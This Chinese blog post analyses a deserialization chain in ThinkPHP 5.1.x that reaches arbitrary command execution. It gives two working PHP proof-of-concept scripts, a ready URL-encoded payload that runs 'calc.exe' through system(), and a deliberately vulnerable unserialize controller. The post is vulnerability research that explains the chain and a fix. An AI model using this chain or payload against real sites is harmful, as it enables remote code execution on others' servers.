HacKerQWQ的博客空间

TP5.1.X反序列化漏洞分析

Word count: 1.4kReading time: 6 min
2021/10/10 Share

漏洞简介

5.1.X版本存在反序列化链子,可以执行任意代码

漏洞演示

使用以下命令下载代码

1
2
#下载指定版本的thinkphp源码
composer create-project --prefer-dist topthink/think=v5.1.37 tpdemo

漏洞利用前提

以下两个条件满足一个即可

  • 存在反序列化的点如unserialize
  • 存在文件上传、文件名完全可控、使用了文件操作函数,例如: file_exists('phar://恶意文件')

poc1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
<?php
namespace think\process\pipes{
use think\Model\Pivot;

class Windows{
private $files = [];
public function __construct()
{
$this->files = [new Pivot()];
}
}
}

namespace think{
abstract class Model{
protected $append = [];
private $data = [];
public function __construct()
{
$this->append = ['HackerQWQ'=>["test"]];
$this->data = ['HackerQWQ'=>new Request()];
}
}
class Request{
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '_ajax',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
// 命令
protected $param = ['cmd'=>'whoami'];
protected $mergeParam = true;
protected $hook = [];
protected $filter;

public function __construct(){
$this->hook = ['visible'=>[$this,'isAjax']];
$this->mergeParam = true;
$this->filter = "system";
// 对应param的键
$this->config['var_ajax'] = 'cmd';
}
}
}


namespace think\model{
use think\Model;
class Pivot extends Model{

}
}

namespace {

use think\process\pipes\Windows;
$exp = new Windows();
echo urlencode(serialize($exp));
}

poc2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php

namespace think;
use think\facade\Cookie;
use think\facade\Session;

class Request
{
protected $hook = [];
protected $config = [];
protected $filter;
protected $param = [];

public function __construct(){
$this->filter = 'system';
$this->param = ['calc.exe'];
$this->hook = ['visible'=>[$this,'isAjax']];
$this->config = ['var_ajax' => ''];
}
}

abstract class Model{
protected $append = [];
private $data = [];

function __construct()
{
$this->append = ['Th0r' => ['a']];
$this->data = ['Th0r' => new Request()];
}
}

namespace think\model;
use think\Model;
use think\Request;

class Pivot extends Model
{

}

namespace think\process\pipes;
use think\model\Pivot;

class Pipes{}

class Windows extends Pipes
{
private $files = [];

function __construct(){
$this->files = [new Pivot()];
}
}

echo base64_encode(serialize(new Windows()));

生成弹计算器的payload,通过post传参

1
c=O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00append%22%3Ba%3A1%3A%7Bs%3A9%3A%22HackerQWQ%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A4%3A%22test%22%3B%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A9%3A%22HackerQWQ%22%3BO%3A13%3A%22think%5CRequest%22%3A5%3A%7Bs%3A9%3A%22%00%2A%00config%22%3Ba%3A10%3A%7Bs%3A10%3A%22var_method%22%3Bs%3A7%3A%22_method%22%3Bs%3A8%3A%22var_ajax%22%3Bs%3A3%3A%22cmd%22%3Bs%3A8%3A%22var_pjax%22%3Bs%3A5%3A%22_pjax%22%3Bs%3A12%3A%22var_pathinfo%22%3Bs%3A1%3A%22s%22%3Bs%3A14%3A%22pathinfo_fetch%22%3Ba%3A3%3A%7Bi%3A0%3Bs%3A14%3A%22ORIG_PATH_INFO%22%3Bi%3A1%3Bs%3A18%3A%22REDIRECT_PATH_INFO%22%3Bi%3A2%3Bs%3A12%3A%22REDIRECT_URL%22%3B%7Ds%3A14%3A%22default_filter%22%3Bs%3A0%3A%22%22%3Bs%3A15%3A%22url_domain_root%22%3Bs%3A0%3A%22%22%3Bs%3A16%3A%22https_agent_name%22%3Bs%3A0%3A%22%22%3Bs%3A13%3A%22http_agent_ip%22%3Bs%3A14%3A%22HTTP_X_REAL_IP%22%3Bs%3A15%3A%22url_html_suffix%22%3Bs%3A4%3A%22html%22%3B%7Ds%3A8%3A%22%00%2A%00param%22%3Ba%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A8%3A%22calc.exe%22%3B%7Ds%3A13%3A%22%00%2A%00mergeParam%22%3Bb%3A1%3Bs%3A7%3A%22%00%2A%00hook%22%3Ba%3A1%3A%7Bs%3A7%3A%22visible%22%3Ba%3A2%3A%7Bi%3A0%3Br%3A8%3Bi%3A1%3Bs%3A6%3A%22isAjax%22%3B%7D%7Ds%3A9%3A%22%00%2A%00filter%22%3Bs%3A6%3A%22system%22%3B%7D%7D%7D%7D%7D

image-20211010231043538

漏洞分析

在Index.php添加以下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
namespace app\index\controller;

class Index
{
public function index()
{
$u = unserialize($_POST['c']);
return 'hhh';
}

public function hello($name = 'ThinkPHP5')
{
return 'hello,' . $name;
}
}

前几个点都跟TP5.0.X的差不多

Windows.phpremoveFilesfile_exists触发Conversion.php__toStringtoJson然后是toArray

image-20211010231740881

toArray函数中需要关注的是$relation->visible函数,因为这可以触发__call从而继续利用,先看下一部分的链子

image-20211010232547449

找到Request类的__call方法,这里的$this->hood[$method]变量可控,但是上面的array_unshift函数会把$this放到$args数组中的第一个从而触发fatal error退出程序,因此还需要寻找其他可利用的方法

image-20211010232803421

这里通过call_user_func_array([类名,方法名],变量)的形式调用任意类的任意方法,而之前分析TP5任意代码执行的漏洞的时候出镜率比较高的input方法就派上用场了

image-20211010233140684

但是由于存在一个强制转换,类对象被强制转换的话会触发fatal error,因此需要用其他方法进入input方法,这里我们用Reuqestparam方法,需要让$this->param为我们的命令(calc.exe),从而进入input方法,但是这样的话还是第二个参数位置的$name变量强制转换,因此还需要往上套

image-20211010233338837

这里找到isAjax或者isPjax都可以,这里的$this->config['var_ajax']可控,这样就不会引起name强制转换出错了

image-20211010233630683

顺利进入到intput方法后,getFilter方法返回$this->filter,照例改为system,然后这里进入is_array分支或者不进入都可以,在上面的$this->param处修改即可,然后调用fileterValue

image-20211010233856269

此时$filter为system,$data为payload,通过call_user_func执行任意代码

image-20211010234140586

漏洞修复

Windows.php处对$filename进行校验就好了

CATALOG
  1. 1. 漏洞简介
  2. 2. 漏洞演示
    1. 2.1. 漏洞利用前提
  3. 3. 漏洞分析
  4. 4. 漏洞修复